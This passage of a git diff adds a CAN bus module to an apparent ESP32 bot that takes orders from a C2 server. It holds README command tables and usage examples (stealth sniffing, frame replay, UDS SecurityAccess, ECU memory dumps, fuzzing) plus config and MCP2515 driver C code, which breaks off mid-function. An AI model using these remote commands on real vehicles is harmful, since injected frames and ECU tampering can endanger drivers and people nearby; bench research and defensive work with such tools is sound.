*Requires `CONFIG_CANBUS_OBD=y` (depends on ISO-TP)*
|
||||
|
||||
| Command | Args | Async | Description |
|
||||
|---------|------|-------|-------------|
|
||||
| `can_obd <pid_hex>` | 1 | **Yes** | Query single PID, returns decoded value |
|
||||
| `can_obd_vin` | 0 | **Yes** | Read Vehicle Identification Number |
|
||||
| `can_obd_dtc` | 0 | **Yes** | Read Diagnostic Trouble Codes |
|
||||
| `can_obd_supported` | 0 | **Yes** | List supported PIDs |
|
||||
| `can_obd_monitor <pids> [interval_ms]` | 1-2 | **Yes** | Stream PIDs to C2 continuously |
|
||||
| `can_obd_monitor_stop` | 0 | No | Stop monitoring |
|
||||
|
||||
### Fuzzing Commands
|
||||
|
||||
*Requires `CONFIG_CANBUS_FUZZ=y`*
|
||||
|
||||
| Command | Args | Async | Description |
|
||||
|---------|------|-------|-------------|
|
||||
| `can_fuzz_id [start] [end] [delay_ms]` | 0-3 | **Yes** | Iterate all CAN IDs with fixed payload |
|
||||
| `can_fuzz_data <id_hex> [seed_hex] [delay_ms]` | 1-3 | **Yes** | Mutate data bytes for fixed ID |
|
||||
| `can_fuzz_random [delay_ms] [count]` | 0-2 | **Yes** | Random ID + random data |
|
||||
| `can_fuzz_stop` | 0 | No | Stop fuzzing |
|
||||
|
||||
---
|
||||
|
||||
## Frame Format
|
||||
|
||||
Frames streamed to C2 use the format:
|
||||
|
||||
```
|
||||
CAN|<timestamp_ms>|<id_hex>|<dlc>|<data_hex>
|
||||
```
|
||||
|
||||
**Example:**
|
||||
```
|
||||
CAN|1708000123456|0x123|8|DEADBEEF01020304
|
||||
```
|
||||
|
||||
### Special Markers
|
||||
|
||||
| Marker | Meaning |
|
||||
|--------|---------|
|
||||
| `SNIFF_END` | End of sniff session |
|
||||
| `DUMP_START\|<count>` | Beginning of frame dump |
|
||||
| `DUMP_END` | End of frame dump |
|
||||
| `UDS_RSP\|<rx_id>\|<hex>` | UDS response |
|
||||
| `MEM_DUMP\|<addr>\|<size>` | Start of memory dump |
|
||||
| `MEM\|<addr>\|<hex_data>` | Memory block |
|
||||
| `MEM_DUMP_END` | End of memory dump |
|
||||
| `ECU\|<tx_id>\|<rx_id>` | Discovered ECU |
|
||||
|
||||
---
|
||||
|
||||
## C3PO Integration
|
||||
|
||||
### REST API
|
||||
|
||||
CAN frames received from agents are stored in a server-side ring buffer (10,000 frames max).
|
||||
|
||||
| Endpoint | Method | Description |
|
||||
|----------|--------|-------------|
|
||||
| `/api/can/frames` | GET | List frames. Params: `device_id`, `can_id`, `limit`, `offset` |
|
||||
| `/api/can/stats` | GET | Frame stats. Params: `device_id` |
|
||||
| `/api/can/frames/export` | GET | Download CSV. Params: `device_id` |
|
||||
|
||||
### TUI Commands
|
||||
|
||||
From the C3PO interactive TUI:
|
||||
|
||||
```
|
||||
can stats [device_id] — Frame count, unique CAN IDs
|
||||
can frames [device_id] [limit] — Display last N frames
|
||||
can clear — Clear frame store
|
||||
```
|
||||
|
||||
### Transport Integration
|
||||
|
||||
CAN frames arrive via `AGENT_DATA` messages with the `CAN|` prefix. The transport layer automatically parses and stores them in `CanStore`.
|
||||
|
||||
---
|
||||
|
||||
## Usage Examples
|
||||
|
||||
### Basic Sniffing (Listen-Only)
|
||||
|
||||
```
|
||||
> can_start 500000 listen # Start in stealth mode (no ACK on bus)
|
||||
> can_sniff 30 # Stream frames for 30 seconds
|
||||
> can_stop
|
||||
```
|
||||
|
||||
### Record and Replay
|
||||
|
||||
```
|
||||
> can_start 500000 listen
|
||||
> can_record 60 # Record for 60 seconds
|
||||
> can_stop
|
||||
|
||||
> can_start 500000 normal # Switch to normal mode for TX
|
||||
> can_replay 100 # Replay at real-time speed
|
||||
```
|
||||
|
||||
### OBD-II Vehicle Diagnostics
|
||||
|
||||
```
|
||||
> can_start 500000 # Standard automotive bitrate
|
||||
> can_obd_supported # List what the car supports
|
||||
> can_obd 0C # Engine RPM
|
||||
> can_obd 0D # Vehicle speed (km/h)
|
||||
> can_obd_vin # VIN number
|
||||
> can_obd_dtc # Read trouble codes
|
||||
> can_obd_monitor 0C,0D 500 # Stream RPM + speed every 500ms
|
||||
```
|
||||
|
||||
### UDS ECU Exploration
|
||||
|
||||
```
|
||||
> can_start 500000
|
||||
> can_scan_ecu # Find ECUs on bus
|
||||
> can_uds_session 0x7E0 3 # Extended session on ECU 0x7E0
|
||||
> can_uds_read 0x7E0 F190 # Read VIN via DID
|
||||
> can_uds_read 0x7E0 F191 # Hardware version
|
||||
> can_uds_auth 0x7E0 1 # SecurityAccess level 1
|
||||
> can_uds_dump 0x7E0 0x00000000 4096 # Dump 4KB from address 0
|
||||
```
|
||||
|
||||
### Fuzzing (Isolated Bus Only!)
|
||||
|
||||
```
|
||||
> can_start 500000
|
||||
> can_fuzz_id 0x000 0x7FF 10 # Scan all standard IDs, 10ms delay
|
||||
> can_fuzz_data 0x7E0 0000000000000000 5 # Mutate bytes on ECU ID
|
||||
> can_fuzz_stop
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### MCP2515 not detected
|
||||
|
||||
- Verify wiring (CS, MOSI, MISO, SCK)
|
||||
- Check `CANBUS_OSC_MHZ` matches the crystal on your module (8 vs 16 MHz)
|
||||
- Try `can_start 500000 loopback` — if loopback works, wiring to the bus is the issue
|
||||
|
||||
### No frames received
|
||||
|
||||
- Confirm bus speed matches the target (500k for cars, 250k for trucks)
|
||||
- Try `listen` mode first: `can_start 500000 listen`
|
||||
- Check CAN_H / CAN_L connections and termination (120 ohm)
|
||||
- Use `can_status` to check error counters — high RX errors indicate speed mismatch
|
||||
|
||||
### Bus-off state
|
||||
|
||||
- TEC exceeded 255 — the MCP2515 disconnected from the bus
|
||||
- `can_stop` then `can_start` to reset
|
||||
- Check for wiring issues or speed mismatch
|
||||
|
||||
### RX overflow
|
||||
|
||||
- Bus traffic exceeds processing speed
|
||||
- Reduce bus load or add hardware filters: `can_filter_add <id>`
|
||||
- Increase `CANBUS_RECORD_BUFFER` in menuconfig
|
||||
|
||||
### SPI communication errors
|
||||
|
||||
- Reduce `CANBUS_SPI_CLOCK_HZ` (try 8000000 or 4000000)
|
||||
- Check for long wires or loose connections
|
||||
- Ensure no other device shares the SPI bus
|
||||
319
espilon_bot/components/mod_canbus/canbus_config.c
Normal file
319
espilon_bot/components/mod_canbus/canbus_config.c
Normal file
@ -0,0 +1,319 @@
|
||||
/*
|
||||
* canbus_config.c
|
||||
* NVS-backed persistent config for CAN bus module.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_CANBUS
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include "esp_log.h"
|
||||
#include "nvs_flash.h"
|
||||
#include "nvs.h"
|
||||
|
||||
#include "canbus_config.h"
|
||||
|
||||
#define TAG "CAN_CFG"
|
||||
#define NVS_NS "can_cfg"
|
||||
|
||||
/* NVS keys */
|
||||
#define KEY_BITRATE "bitrate"
|
||||
#define KEY_OSC_MHZ "osc_mhz"
|
||||
#define KEY_FILTERS "sw_filters"
|
||||
#define KEY_FILTER_CNT "sw_filt_cnt"
|
||||
#define KEY_ECUS "ecus"
|
||||
#define KEY_ECU_CNT "ecu_cnt"
|
||||
|
||||
/* ============================================================
|
||||
* Init
|
||||
* ============================================================ */
|
||||
|
||||
void can_config_init(void)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
|
||||
if (err == ESP_OK) {
|
||||
nvs_close(h);
|
||||
ESP_LOGI(TAG, "NVS namespace '%s' ready", NVS_NS);
|
||||
} else {
|
||||
ESP_LOGW(TAG, "NVS open failed: %s", esp_err_to_name(err));
|
||||
}
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Bitrate
|
||||
* ============================================================ */
|
||||
|
||||
int can_config_get_bitrate(void)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
int32_t val = CONFIG_CANBUS_DEFAULT_BITRATE;
|
||||
if (nvs_open(NVS_NS, NVS_READONLY, &h) == ESP_OK) {
|
||||
nvs_get_i32(h, KEY_BITRATE, &val);
|
||||
nvs_close(h);
|
||||
}
|
||||
return (int)val;
|
||||
}
|
||||
|
||||
esp_err_t can_config_set_bitrate(int bitrate)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
|
||||
if (err != ESP_OK) return err;
|
||||
err = nvs_set_i32(h, KEY_BITRATE, bitrate);
|
||||
if (err == ESP_OK) err = nvs_commit(h);
|
||||
nvs_close(h);
|
||||
return err;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Oscillator
|
||||
* ============================================================ */
|
||||
|
||||
uint8_t can_config_get_osc_mhz(void)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
uint8_t val = CONFIG_CANBUS_OSC_MHZ;
|
||||
if (nvs_open(NVS_NS, NVS_READONLY, &h) == ESP_OK) {
|
||||
nvs_get_u8(h, KEY_OSC_MHZ, &val);
|
||||
nvs_close(h);
|
||||
}
|
||||
return val;
|
||||
}
|
||||
|
||||
esp_err_t can_config_set_osc_mhz(uint8_t mhz)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
|
||||
if (err != ESP_OK) return err;
|
||||
err = nvs_set_u8(h, KEY_OSC_MHZ, mhz);
|
||||
if (err == ESP_OK) err = nvs_commit(h);
|
||||
nvs_close(h);
|
||||
return err;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Software Filters (stored as blob of uint32_t array)
|
||||
* ============================================================ */
|
||||
|
||||
int can_config_get_filters(uint32_t *ids_out, int max_ids)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK) return 0;
|
||||
|
||||
uint8_t cnt = 0;
|
||||
nvs_get_u8(h, KEY_FILTER_CNT, &cnt);
|
||||
if (cnt == 0 || !ids_out) { nvs_close(h); return 0; }
|
||||
|
||||
if (cnt > max_ids) cnt = max_ids;
|
||||
|
||||
size_t len = cnt * sizeof(uint32_t);
|
||||
nvs_get_blob(h, KEY_FILTERS, ids_out, &len);
|
||||
nvs_close(h);
|
||||
return (int)cnt;
|
||||
}
|
||||
|
||||
static esp_err_t save_filters(nvs_handle_t h, const uint32_t *ids, uint8_t cnt)
|
||||
{
|
||||
esp_err_t err = nvs_set_u8(h, KEY_FILTER_CNT, cnt);
|
||||
if (err != ESP_OK) return err;
|
||||
|
||||
if (cnt > 0) {
|
||||
err = nvs_set_blob(h, KEY_FILTERS, ids, cnt * sizeof(uint32_t));
|
||||
} else {
|
||||
nvs_erase_key(h, KEY_FILTERS);
|
||||
}
|
||||
if (err == ESP_OK) err = nvs_commit(h);
|
||||
return err;
|
||||
}
|
||||
|
||||
esp_err_t can_config_add_filter(uint32_t id)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
|
||||
if (err != ESP_OK) return err;
|
||||
|
||||
uint32_t ids[CAN_CFG_MAX_SW_FILTERS] = { 0 };
|
||||
uint8_t cnt = 0;
|
||||
nvs_get_u8(h, KEY_FILTER_CNT, &cnt);
|
||||
if (cnt > 0) {
|
||||
size_t len = cnt * sizeof(uint32_t);
|
||||
nvs_get_blob(h, KEY_FILTERS, ids, &len);
|
||||
}
|
||||
|
||||
/* Check duplicate */
|
||||
for (int i = 0; i < cnt; i++) {
|
||||
if (ids[i] == id) { nvs_close(h); return ESP_OK; }
|
||||
}
|
||||
|
||||
if (cnt >= CAN_CFG_MAX_SW_FILTERS) {
|
||||
nvs_close(h);
|
||||
return ESP_ERR_NO_MEM;
|
||||
}
|
||||
|
||||
ids[cnt++] = id;
|
||||
err = save_filters(h, ids, cnt);
|
||||
nvs_close(h);
|
||||
return err;
|
||||
}
|
||||
|
||||
esp_err_t can_config_del_filter(uint32_t id)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
|
||||
if (err != ESP_OK) return err;
|
||||
|
||||
uint32_t ids[CAN_CFG_MAX_SW_FILTERS] = { 0 };
|
||||
uint8_t cnt = 0;
|
||||
nvs_get_u8(h, KEY_FILTER_CNT, &cnt);
|
||||
if (cnt > 0) {
|
||||
size_t len = cnt * sizeof(uint32_t);
|
||||
nvs_get_blob(h, KEY_FILTERS, ids, &len);
|
||||
}
|
||||
|
||||
/* Find and remove */
|
||||
bool found = false;
|
||||
for (int i = 0; i < cnt; i++) {
|
||||
if (ids[i] == id) {
|
||||
memmove(&ids[i], &ids[i + 1], (cnt - i - 1) * sizeof(uint32_t));
|
||||
cnt--;
|
||||
found = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (found) {
|
||||
err = save_filters(h, ids, cnt);
|
||||
} else {
|
||||
err = ESP_ERR_NOT_FOUND;
|
||||
}
|
||||
nvs_close(h);
|
||||
return err;
|
||||
}
|
||||
|
||||
esp_err_t can_config_clear_filters(void)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
|
||||
if (err != ESP_OK) return err;
|
||||
err = save_filters(h, NULL, 0);
|
||||
nvs_close(h);
|
||||
return err;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* ECU IDs (same pattern as filters)
|
||||
* ============================================================ */
|
||||
|
||||
int can_config_get_ecus(uint32_t *ids_out, int max_ids)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK) return 0;
|
||||
|
||||
uint8_t cnt = 0;
|
||||
nvs_get_u8(h, KEY_ECU_CNT, &cnt);
|
||||
if (cnt == 0 || !ids_out) { nvs_close(h); return 0; }
|
||||
|
||||
if (cnt > max_ids) cnt = max_ids;
|
||||
|
||||
size_t len = cnt * sizeof(uint32_t);
|
||||
nvs_get_blob(h, KEY_ECUS, ids_out, &len);
|
||||
nvs_close(h);
|
||||
return (int)cnt;
|
||||
}
|
||||
|
||||
esp_err_t can_config_add_ecu(uint32_t id)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
|
||||
if (err != ESP_OK) return err;
|
||||
|
||||
uint32_t ids[CAN_CFG_MAX_ECUS] = { 0 };
|
||||
uint8_t cnt = 0;
|
||||
nvs_get_u8(h, KEY_ECU_CNT, &cnt);
|
||||
if (cnt > 0) {
|
||||
size_t len = cnt * sizeof(uint32_t);
|
||||
nvs_get_blob(h, KEY_ECUS, ids, &len);
|
||||
}
|
||||
|
||||
for (int i = 0; i < cnt; i++) {
|
||||
if (ids[i] == id) { nvs_close(h); return ESP_OK; }
|
||||
}
|
||||
|
||||
if (cnt >= CAN_CFG_MAX_ECUS) {
|
||||
nvs_close(h);
|
||||
return ESP_ERR_NO_MEM;
|
||||
}
|
||||
|
||||
ids[cnt++] = id;
|
||||
err = nvs_set_u8(h, KEY_ECU_CNT, cnt);
|
||||
if (err == ESP_OK) err = nvs_set_blob(h, KEY_ECUS, ids, cnt * sizeof(uint32_t));
|
||||
if (err == ESP_OK) err = nvs_commit(h);
|
||||
nvs_close(h);
|
||||
return err;
|
||||
}
|
||||
|
||||
esp_err_t can_config_clear_ecus(void)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
|
||||
if (err != ESP_OK) return err;
|
||||
nvs_set_u8(h, KEY_ECU_CNT, 0);
|
||||
nvs_erase_key(h, KEY_ECUS);
|
||||
err = nvs_commit(h);
|
||||
nvs_close(h);
|
||||
return err;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Reset All
|
||||
* ============================================================ */
|
||||
|
||||
esp_err_t can_config_reset_all(void)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
|
||||
if (err != ESP_OK) return err;
|
||||
err = nvs_erase_all(h);
|
||||
if (err == ESP_OK) err = nvs_commit(h);
|
||||
nvs_close(h);
|
||||
ESP_LOGI(TAG, "Config reset to defaults");
|
||||
return err;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* List (for status responses)
|
||||
* ============================================================ */
|
||||
|
||||
int can_config_list(char *buf, size_t buf_len)
|
||||
{
|
||||
int off = 0;
|
||||
|
||||
off += snprintf(buf + off, buf_len - off,
|
||||
"bitrate=%d\nosc_mhz=%u\n",
|
||||
can_config_get_bitrate(),
|
||||
can_config_get_osc_mhz());
|
||||
|
||||
/* Software filters */
|
||||
uint32_t fids[CAN_CFG_MAX_SW_FILTERS];
|
||||
int fcnt = can_config_get_filters(fids, CAN_CFG_MAX_SW_FILTERS);
|
||||
off += snprintf(buf + off, buf_len - off, "sw_filters=%d:", fcnt);
|
||||
for (int i = 0; i < fcnt && off < (int)buf_len - 8; i++) {
|
||||
off += snprintf(buf + off, buf_len - off, " 0x%03lX", (unsigned long)fids[i]);
|
||||
}
|
||||
off += snprintf(buf + off, buf_len - off, "\n");
|
||||
|
||||
/* Discovered ECUs */
|
||||
uint32_t eids[CAN_CFG_MAX_ECUS];
|
||||
int ecnt = can_config_get_ecus(eids, CAN_CFG_MAX_ECUS);
|
||||
off += snprintf(buf + off, buf_len - off, "ecus=%d:", ecnt);
|
||||
for (int i = 0; i < ecnt && off < (int)buf_len - 8; i++) {
|
||||
off += snprintf(buf + off, buf_len - off, " 0x%03lX", (unsigned long)eids[i]);
|
||||
}
|
||||
off += snprintf(buf + off, buf_len - off, "\n");
|
||||
|
||||
return off;
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODULE_CANBUS */
|
||||
42
espilon_bot/components/mod_canbus/canbus_config.h
Normal file
42
espilon_bot/components/mod_canbus/canbus_config.h
Normal file
@ -0,0 +1,42 @@
|
||||
/*
|
||||
* canbus_config.h
|
||||
* NVS-backed configuration for CAN bus module.
|
||||
*
|
||||
* Stores: bitrate, oscillator freq, software filters, discovered ECU IDs.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include "esp_err.h"
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
#define CAN_CFG_MAX_SW_FILTERS 16
|
||||
#define CAN_CFG_MAX_ECUS 16
|
||||
|
||||
/* Init NVS namespace (call once at module registration) */
|
||||
void can_config_init(void);
|
||||
|
||||
/* Bitrate (persistent) */
|
||||
int can_config_get_bitrate(void);
|
||||
esp_err_t can_config_set_bitrate(int bitrate);
|
||||
|
||||
/* Oscillator frequency in MHz (persistent) */
|
||||
uint8_t can_config_get_osc_mhz(void);
|
||||
esp_err_t can_config_set_osc_mhz(uint8_t mhz);
|
||||
|
||||
/* Software filters — app-level ID whitelist (beyond MCP2515 6 HW filters) */
|
||||
int can_config_get_filters(uint32_t *ids_out, int max_ids);
|
||||
esp_err_t can_config_add_filter(uint32_t id);
|
||||
esp_err_t can_config_del_filter(uint32_t id);
|
||||
esp_err_t can_config_clear_filters(void);
|
||||
|
||||
/* Discovered ECU IDs (for UDS, persistent across reboots) */
|
||||
int can_config_get_ecus(uint32_t *ids_out, int max_ids);
|
||||
esp_err_t can_config_add_ecu(uint32_t id);
|
||||
esp_err_t can_config_clear_ecus(void);
|
||||
|
||||
/* Reset all config to defaults */
|
||||
esp_err_t can_config_reset_all(void);
|
||||
|
||||
/* List all config as formatted string (for status response) */
|
||||
int can_config_list(char *buf, size_t buf_len);
|
||||
815
espilon_bot/components/mod_canbus/canbus_driver.c
Normal file
815
espilon_bot/components/mod_canbus/canbus_driver.c
Normal file
@ -0,0 +1,815 @@
|
||||
/*
|
||||
* canbus_driver.c
|
||||
* MCP2515 CAN 2.0B controller driver via ESP-IDF SPI master.
|
||||
*
|
||||
* Architecture:
|
||||
* GPIO ISR (INT pin, active low) → binary semaphore → RX task → callback
|
||||
* TX: direct SPI writes to TX buffer 0, poll for completion.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_CANBUS
|
||||
|
||||
#include <string.h>
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "freertos/semphr.h"
|
||||
#include "driver/spi_master.h"
|
||||
#include "driver/gpio.h"
|
||||
#include "esp_timer.h"
|
||||
#include "esp_log.h"
|
||||
|
||||
#include "canbus_driver.h"
|
||||
|
||||
#define TAG "CAN_DRV"
|
||||
|
||||
/* ============================================================
|
||||
* MCP2515 SPI Instructions
|
||||
* ============================================================ */
|
||||
#define MCP_RESET 0xC0
|
||||
#define MCP_READ 0x03
|
||||
#define MCP_WRITE 0x02
|
||||
#define MCP_BIT_MODIFY 0x05
|
||||
#define MCP_READ_STATUS 0xA0
|
||||
#define MCP_RX_STATUS 0xB0
|
||||
#define MCP_READ_RX0 0x90 /* Read RX buffer 0 starting at SIDH */
|
||||
#define MCP_READ_RX1 0x94 /* Read RX buffer 1 starting at SIDH */
|
||||
#define MCP_LOAD_TX0 0x40 /* Load TX buffer 0 starting at SIDH */
|
||||
#define MCP_RTS_TX0 0x81 /* Request-To-Send TX buffer 0 */
|
||||
|
||||
/* ============================================================
|
||||
* MCP2515 Registers
|
||||
* ============================================================ */
|
||||
#define MCP_CANCTRL 0x0F
|
||||
#define MCP_CANSTAT 0x0E
|
||||
#define MCP_CNF1 0x2A
|
||||
#define MCP_CNF2 0x29
|
||||
#define MCP_CNF3 0x28
|
||||
#define MCP_CANINTE 0x2B
|
||||
#define MCP_CANINTF 0x2C
|
||||
#define MCP_EFLG 0x2D
|
||||
#define MCP_TEC 0x1C
|
||||
#define MCP_REC 0x1D
|
||||
|
||||
/* RXB0CTRL / RXB1CTRL */
|
||||
#define MCP_RXB0CTRL 0x60
|
||||
#define MCP_RXB1CTRL 0x70
|
||||
|
||||
/* Filter/mask registers */
|
||||
#define MCP_RXF0SIDH 0x00
|
||||
#define MCP_RXF1SIDH 0x04
|
||||
#define MCP_RXF2SIDH 0x08
|
||||
#define MCP_RXF3SIDH 0x10
|
||||
#define MCP_RXF4SIDH 0x14
|
||||
#define MCP_RXF5SIDH 0x18
|
||||
#define MCP_RXM0SIDH 0x20
|
||||
#define MCP_RXM1SIDH 0x24
|
||||
|
||||
/* TXB0 registers */
|
||||
#define MCP_TXB0CTRL 0x30
|
||||
#define MCP_TXB0SIDH 0x31
|
||||
|
||||
/* CANCTRL mode bits */
|
||||
#define MCP_MODE_NORMAL 0x00
|
||||
#define MCP_MODE_LISTEN 0x60
|
||||
#define MCP_MODE_LOOPBACK 0x40
|
||||
#define MCP_MODE_CONFIG 0x80
|
||||
|
||||
/* CANINTF bits */
|
||||
#define MCP_RX0IF 0x01
|
||||
#define MCP_RX1IF 0x02
|
||||
#define MCP_TX0IF 0x04
|
||||
#define MCP_TX1IF 0x08
|
||||
#define MCP_TX2IF 0x10
|
||||
#define MCP_ERRIF 0x20
|
||||
#define MCP_WAKIF 0x40
|
||||
#define MCP_MERRF 0x80
|
||||
|
||||
/* CANINTE bits */
|
||||
#define MCP_RX0IE 0x01
|
||||
#define MCP_RX1IE 0x02
|
||||
#define MCP_ERRIE 0x20
|
||||
|
||||
/* EFLG bits */
|
||||
#define MCP_EFLG_RX0OVR 0x40
|
||||
#define MCP_EFLG_RX1OVR 0x80
|
||||
#define MCP_EFLG_TXBO 0x20
|
||||
#define MCP_EFLG_RXEP 0x10
|
||||
#define MCP_EFLG_TXEP 0x08
|
||||
|
||||
/* ============================================================
|
||||
* Bit Timing Tables
|
||||
* ============================================================ */
|
||||
typedef struct {
|
||||
int bitrate;
|
||||
uint8_t cnf1, cnf2, cnf3;
|
||||
} can_timing_t;
|
||||
|
||||
/* 16 MHz oscillator — TQ = 2/Fosc = 125ns */
|
||||
static const can_timing_t s_timing_16mhz[] = {
|
||||
{ 1000000, 0x00, 0xCA, 0x01 }, /* 1 Mbps: SJW=1, BRP=0, 8 TQ */
|
||||
{ 500000, 0x00, 0xF0, 0x86 }, /* 500 kbps: SJW=1, BRP=0, 16 TQ */
|
||||
{ 250000, 0x01, 0xF0, 0x86 }, /* 250 kbps: SJW=1, BRP=1, 16 TQ */
|
||||
{ 125000, 0x03, 0xF0, 0x86 }, /* 125 kbps: SJW=1, BRP=3, 16 TQ */
|
||||
{ 100000, 0x04, 0xF0, 0x86 }, /* 100 kbps: SJW=1, BRP=4, 16 TQ */
|
||||
{ 0, 0, 0, 0 }
|
||||
};
|
||||
|
||||
/* 8 MHz oscillator — TQ = 2/Fosc = 250ns */
|
||||
static const can_timing_t s_timing_8mhz[] = {
|
||||
{ 500000, 0x00, 0x90, 0x02 }, /* 500 kbps: SJW=1, BRP=0, 8 TQ */
|
||||
{ 250000, 0x00, 0xF0, 0x86 }, /* 250 kbps: SJW=1, BRP=0, 16 TQ */
|
||||
{ 125000, 0x01, 0xF0, 0x86 }, /* 125 kbps: SJW=1, BRP=1, 16 TQ */
|
||||
{ 100000, 0x03, 0xAC, 0x03 }, /* 100 kbps: SJW=1, BRP=3, 10 TQ */
|
||||
{ 0, 0, 0, 0 }
|
||||
};
|
||||
|
||||
/* ============================================================
|
||||
* Driver State
|
||||
* ============================================================ */
|
||||
static spi_device_handle_t s_spi = NULL;
|
||||
static TaskHandle_t s_rx_task = NULL;
|
||||
static SemaphoreHandle_t s_int_sem = NULL;
|
||||
static SemaphoreHandle_t s_tx_mutex = NULL;
|
||||
static volatile bool s_running = false;
|
||||
|
||||
static can_rx_callback_t s_rx_cb = NULL;
|
||||
static void *s_rx_ctx = NULL;
|
||||
|
||||
/* Counters */
|
||||
static uint32_t s_rx_count = 0;
|
||||
static uint32_t s_tx_count = 0;
|
||||
static uint32_t s_bus_errors = 0;
|
||||
static uint32_t s_rx_overflow = 0;
|
||||
static bool s_bus_off = false;
|
||||
static bool s_err_passive = false;
|
||||
|
||||
/* ============================================================
|
||||
* SPI Low-Level Helpers
|
||||
* ============================================================ */
|
||||
|
||||
static uint8_t mcp_read_reg(uint8_t addr)
|
||||
{
|
||||
uint8_t tx[3] = { MCP_READ, addr, 0x00 };
|
||||
uint8_t rx[3] = { 0 };
|
||||
spi_transaction_t t = {
|
||||
.length = 24,
|
||||
.tx_buffer = tx,
|
||||
.rx_buffer = rx,
|
||||
};
|
||||
spi_device_transmit(s_spi, &t);
|
||||
return rx[2];
|
||||
}
|
||||
|
||||
static void mcp_write_reg(uint8_t addr, uint8_t val)
|
||||
{
|
||||
uint8_t tx[3] = { MCP_WRITE, addr, val };
|
||||
spi_transaction_t t = {
|
||||
.length = 24,
|
||||
.tx_buffer = tx,
|
||||
};
|
||||
spi_device_transmit(s_spi, &t);
|
||||
}
|
||||
|
||||
static void mcp_modify_reg(uint8_t addr, uint8_t mask, uint8_t val)
|
||||
{
|
||||
uint8_t tx[4] = { MCP_BIT_MODIFY, addr, mask, val };
|
||||
spi_transaction_t t = {
|
||||
.length = 32,
|
||||
.tx_buffer = tx,
|
||||
};
|
||||
spi_device_transmit(s_spi, &t);
|
||||
}
|
||||
|
||||
static void mcp_reset(void)
|
||||
{
|
||||
uint8_t tx[1] = { MCP_RESET };
|
||||
spi_transaction_t t = {
|
||||
.length = 8,
|
||||
.tx_buffer = tx,
|
||||
};
|
||||
spi_device_transmit(s_spi, &t);
|
||||
vTaskDelay(pdMS_TO_TICKS(10)); /* MCP2515 needs time after reset */
|
||||
}
|
||||
|
||||
static void mcp_set_mode(uint8_t mode)
|
||||
{
|
||||
mcp_modify_reg(MCP_CANCTRL, 0xE0, mode);
|
||||
/* Wait for mode change confirmation */
|
||||
for (int i = 0; i < 50; i++) {
|
||||
uint8_t stat = mcp_read_reg(MCP_CANSTAT);
|
||||
if ((stat & 0xE0) == mode) return;
|
||||
vTaskDelay(pdMS_TO_TICKS(1));
|
||||
}
|
||||
ESP_LOGW(TAG, "Mode change to 0x%02X timeout", mode);
|
||||
}
|
||||
|
||||
/* Read a complete frame from RX buffer (0 or 1) */
|
||||
static void mcp_read_rx_buffer(int buf, can_frame_t *frame)
|
||||
{
|
||||
/* Use READ_RX instruction for auto-clear of interrupt flag */
|
||||
uint8_t cmd = (buf == 0) ? MCP_READ_RX0 : MCP_READ_RX1;
|
||||
|
||||
/* Read: cmd + SIDH + SIDL + EID8 + EID0 + DLC + 8 data = 14 bytes */
|
||||
uint8_t tx[14] = { 0 };
|
||||
uint8_t rx[14] = { 0 };
|
||||
tx[0] = cmd;
|
||||
|
||||
spi_transaction_t t = {
|
||||
.length = 14 * 8,
|
||||
.tx_buffer = tx,
|
||||
.rx_buffer = rx,
|
||||
};
|
||||
spi_device_transmit(s_spi, &t);
|
||||
|
||||
/* Parse — offsets relative to rx[1] (SIDH is byte 1) */
|
||||
uint8_t sidh = rx[1];
|
||||
uint8_t sidl = rx[2];
|
||||
uint8_t eid8 = rx[3];
|
||||
uint8_t eid0 = rx[4];
|
||||
uint8_t dlc = rx[5];
|
||||
|
||||
frame->extended = (sidl & 0x08) != 0;
|
||||
frame->rtr = false;
|
||||
|
||||
if (frame->extended) {
|
||||
frame->id = ((uint32_t)sidh << 21)
|
||||
| ((uint32_t)(sidl & 0xE0) << 13)
|
||||
| ((uint32_t)(sidl & 0x03) << 16)
|
||||
| ((uint32_t)eid8 << 8)
|
||||
| (uint32_t)eid0;
|
||||
frame->rtr = (dlc & 0x40) != 0;
|
||||
} else {
|
||||
frame->id = ((uint32_t)sidh << 3) | ((uint32_t)(sidl >> 5) & 0x07);
|
||||
frame->rtr = (sidl & 0x10) != 0;
|
||||
}
|
||||
|
||||
